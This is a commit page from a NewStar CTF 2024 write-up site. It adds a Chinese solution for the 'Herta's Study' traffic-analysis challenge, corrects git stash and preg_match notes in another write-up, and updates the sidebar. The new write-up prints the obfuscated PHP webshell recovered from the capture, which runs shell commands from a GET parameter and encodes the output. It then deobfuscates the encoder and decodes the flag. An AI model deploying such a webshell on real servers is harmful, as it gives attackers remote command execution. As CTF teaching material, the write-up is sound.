Skip to content

Commit 1153f87

Browse files
committed
Merge from main
2 parents 2d2a706 + 4added5 commit 1153f87

File tree

3 files changed

+65
-4
lines changed

3 files changed

+65
-4
lines changed

docs/wp/2024/week2/misc/herta.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
---
2+
titleTemplate: ':title | WriteUp - NewStar CTF 2024'
3+
---
4+
<script setup>
5+
import Container from '@/components/docs/Container.vue'
6+
</script>
7+
8+
# Herta's Study
9+
10+
<Container type='tip'>
11+
本题考点:PHP 混淆,流量分析
12+
</Container>
13+
14+
建议配合 unknown 师傅的前两道流量题食用
15+
16+
第七条流量是上传的 PHP 木马
17+
18+
```php
19+
<?php
20+
$payload=$_GET['payload'];
21+
$payload=shell_exec($payload);
22+
$bbb=create_function(
23+
base64_decode('J'.str_rot13('T').'5z'),
24+
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
25+
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
26+
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
27+
);
28+
echo $bbb($payload);
29+
?>
30+
```
31+
32+
可以搜索一下 `create_funtion()` 函数,解除混淆后得到加密代码
33+
34+
```php
35+
$ns = base64_encode($ns);
36+
for ($i = 0; $i < strlen($ns); $i += 1){
37+
if ($i % 2 == 1) {
38+
$ns[$i] = str_rot13($ns[$i]);
39+
}
40+
}
41+
return $ns;
42+
```
43+
44+
就是 Base64 后把奇数位 ROT13
45+
46+
解码反过来就行(第38条,`f.txt` 里的是真 flag,另一个是假 flag)
47+
48+
```php
49+
<?php
50+
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
51+
for ($i = 0; $i < strlen($ns); $i += 1){
52+
if ($i % 2 == 1) {
53+
$ns[$i] = str_rot13($ns[$i]);
54+
}
55+
}
56+
echo base64_decode($ns);
57+
// flag{sH3_i4_S0_6eAut1fuL.}
58+
?>
59+
```

docs/wp/2024/week2/web/pangbai2.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -58,11 +58,11 @@ git stash list
5858

5959
- `git stash`
6060

61-
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 `git status` 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 `git stash save ``'一些信息``'` 可以添加一些注释。
61+
保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 `git status` 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 `git stash save '一些信息'` 可以添加一些注释。
6262

63-
- `git stash pop [index] [stash_id]`
63+
- `git stash pop [-index] [stash_id]`
6464

65-
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
65+
从 Stash 中释放内容,默认为恢复最新的内容到工作区。
6666

6767
:::
6868

@@ -120,7 +120,7 @@ $_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewS
120120
如果加 `D` 修饰符,就不匹配换行符:
121121

122122
```python
123-
preg_match('/^Welcome$/D',"Welcome\n")
123+
preg_match('/^Welcome$/D', "Welcome\n")
124124
```
125125

126126
:::

theme-config.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -194,3 +194,5 @@ sidebar:
194194
link: /wp/2024/week2/misc/xiaoming1
195195
- text: 用溯流仪见证伏特台风
196196
link: /wp/2024/week2/misc/futetaifeng
197+
- text: Herta's Study
198+
link: /wp/2024/week2/misc/herta

0 commit comments

Comments
 (0)